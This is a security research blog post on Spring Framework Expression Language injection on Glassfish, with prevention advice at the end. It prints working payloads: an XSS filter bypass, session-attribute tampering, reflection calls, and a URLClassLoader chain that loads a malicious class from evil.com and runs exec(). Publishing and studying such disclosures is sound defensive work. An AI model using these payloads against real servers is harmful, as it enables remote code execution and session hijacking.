Remote code-with-expression-language-injection

Remote Code with Expression Language Injection
Discovering a Spring Framework Vulnerability - DanAmodio
More than 22,000 organizations worldwide have downloaded 1.314 million outdated instances of Spring Framework,
which may be putting businesses at risk.
In 2011, Stefano Di Paola of Minded Security and Arshan Dabirsiaghi from Aspect Security discovered an interesting
pattern in the Spring Framework, which Stefano coined Expression Language (EL) Injection [PDF] [Advisory]. Their
discovery revealed that certain Spring tags which double interpret Expression Language can be used to expose
sensitive data stored on the server. This is because Spring provides EL support independent of the JSP/Servlet
container, as a means for backwards compatibility, since, prior to JSP 2.0, Expression Language wasn’t supported.
This functionality is currently turned on by default, and applications that use the patterns described herein are
vulnerable.
While it’s difficult to quantify the depth and breadth of this problem since every application will not be vulnerable as is
the case with reflected XSS, we do know, according to recent statistics from Sonatype, that more than 22,000
organizations worldwide have downloaded over 1.314 million individual Spring 3.0.5, or prior. Point-in-fact, one large
retail organization consumed 241 different artifacts, 4,119 total downloads.
These versions do not support disabling the double EL resolution.
The original impact of this issue related to information disclosure, but I’ll illustrate how it can actually be used for
remote code execution on Glassfish and potentially other EL 2.2 containers.
Here’s an example of what the original information disclosure attack looked like:
A request of the form:
http://vulnerable.com/foo?message=${applicationScope}
to a page that contains:

<spring:message text="" code="${param['message']}"></spring:message>
will result in output that contains internal server information including the classpath and local working directories.
You can also do other useful things like addition:
${9999+1}
and access session objects and beans:
${employee.lastName}
Discovery
While performing a penetration test on a client’s application on Glassfish, I came across this same pattern. Knowing
about EL Injection, I did additional testing, confirmed the finding, and moved along; I wanted to unearth the juicy stuff,
like XSS.
Alas, the application had an input filter blocking my requests, since they stripped all of the ‘<’ and ‘>’ tags.
On a whim, I thought: “Since I can string manipulate in Java, why don’t I try and do that in EL and bypass the filter?”
So, I attempted the following:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP
I noticed that the returned error code shows QQQQQ, because the String.replaceAll method has been called, and the
returned text is inserted into the spring:message tag.
Here’s the final working vector that bypassed the filter:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&f
oo=PscriptQalert(1);P/scriptQ
It worked great, and I thought nothing of it for the next hour or so. Then I realized it was really, really, bad. Why was it
possible for me to stick methods in EL like this? That begged the question- what other gnarly things can I do?
After some research, I learned that the EL 2.2 added support for method invocation.

Taking it Further
I wrote a quick test application and started checking out some functionality:
${pageContext.request.getSession().setAttribute("account","123456")}
${pageContext.request.getSession().setAttribute("admin",true)}
OK, session object modification is a definite risk. I really wanted to touch objects I didn’t have a direct pointer to
through the pageContext. Maybe we can use reflection, like String.getClass().forName(string)?
${"".getClass().forName("java.net.Socket").newInstance().connect("127.0.0.1", 1234)}
${"".getClass().forName("java.lang.Runtime")}
Wow, there’s no way that should work! This could be disastrous because you can touch just about anything.
Unfortunately, it’s not possible to call newInstance() for numerous dangerous classes (like Runtime), as they do not
provide default constructors. We were unable to cast objects, and there are some issues with
getMethods()[0].invoke() when it requires null or a null array. EL seems to resolve these as a string literal before
passing the data to the method. I assume this is due to the method signature invoke(Object obj, Object… args).
Jeff Williams (Co-Founder of both Aspect Security and OWASP), Arshan, and I were all scratching our heads trying to
make this work.
Exploitation
After seriously banging my head against the wall, I had exhausted many options. Now that we’re making this public, I
hope some of you Java wizards will tell me how ridiculous I was.
Here are several of the failed avenues we tried, in an attempt to get this to work:
 Write a file to the file system.
 Try and load the org.springframework.expression.spel.standard.SpelExpressionParser.
I think this would actually work, I just couldn’t find the right class loader.
${pageContext.getClass().getClassLoader().loadClass("org.springframework.expression.s
pel.standard.SpelExpressionParser")}

javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found by
org.glassfish.web.javax.servlet.jsp [194].
 Use reflection to modify the java.lang.Runtime.currentRuntime attribute to public.
 Use reflection to create a new Runtime (and watch the world burn).
${pageContext.request.getSession().setAttribute("rtc","".getClass().forName("java.lan
g.Runtime")).getDeclaredConstructors()[0])}
${pageContext.request.getSession().getAttribute("rtc").setAccessible(true)}
 Use java.lang.ProcessBuilder.
 Evaluate Expression Language with Expression Language.
Expression-ception! I think I was getting crazy by this point. The vector doesn’t really make any sense.
${pageContext.getExpressionEvaluator().parseExpression("pageContext.request","".getCl
ass(),null)}
 Create an ObjectInputStream, serialize a class, and send it up through a parameter (also a little crazy).
We failed many times at passing a null array to Method.invoke().
"".getClass().forName("java.lang.Runtime").getMethods()[5].invoke(param.foo.getClass(
).forName("java.lang.Runtime"),"".getClass().forName("java.util.ArrayList").newInstan
ce().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
Nope!
Finally, I tripped on the answer one evening: I was able to get a URLClassLoader, so I created a malicious class file
and pointed the class loader at it.
I wrote a Java class that tried to open the calculator application on the server, proving remote code execution:
public class Malicious {
public Malicious() {

try {
java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac
java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
} catch (Exception e) {
}
}
}
We create an ArrayList that will be used to construct a new URLClassLoader. It needs to be stored in the session so it
can be reused.
${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.uti
l.ArrayList").newInstance())}
URLClassLoader provides a newInstance method, which accepts an array of URL objects. We need to create a new
URL that contains the path to our malicious code. The ServletContext can provide us a URL object with the
getResource(string) method, but we’re unable to create a new instance directly. However, URI provides a
create(string) method which we can call, and then convert to a URL object.
${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletCont
ext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classf
ile/is/located/").toURL())}
Then we find a pointer to a URLClassLoader so the newInstance method can be invoked. The malicious class file is
loaded and created, triggering remote code.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request
.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().get
Parent().getURLs())).loadClass("Malicious").newInstance()}
Here is my actual celebratory screenshot:

Conclusion and Prevention
It is difficult to quantify the depth and breadth of this since not every application will be vulnerable as is the case with
reflected XSS. Un-validated data has to be passed into one of the vulnerable Spring tags, or otherwise hit an
expression interpreter.
What we do know, according to recent statistics from Sonatype, is that more than 22,000 organizations, worldwide
have downloaded over 1.314 million individual Spring 3.0.5 or prior. These do not support disabling the double EL
resolution. It’s time to update your libraries folks!
This was all tested on Glassfish 3.1.2.2 with Spring 3.0.6, but Tomcat 7 claims to support the method invocation
functionality. It’s also possible this has been specifically retrofitted into older versions by users.
As of December 6, 2012, Spring has updated the original CVE to a critical, and will be making the functionality
available on an opt-in basis for a future release.

Today, you can opt-out with Spring 3.0.6 and above by setting the springJspExpressionSupport context parameter to
false in your web.xml.
<context-param>
<description>Spring Expression Language Support</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
On Spring Framework 3.1 onwards when running on Servlet 3.0 or higher, the functionality should be off by default,
but it never hurts to be explicit.
@DanAmodio

Remote code-with-expression-language-injection

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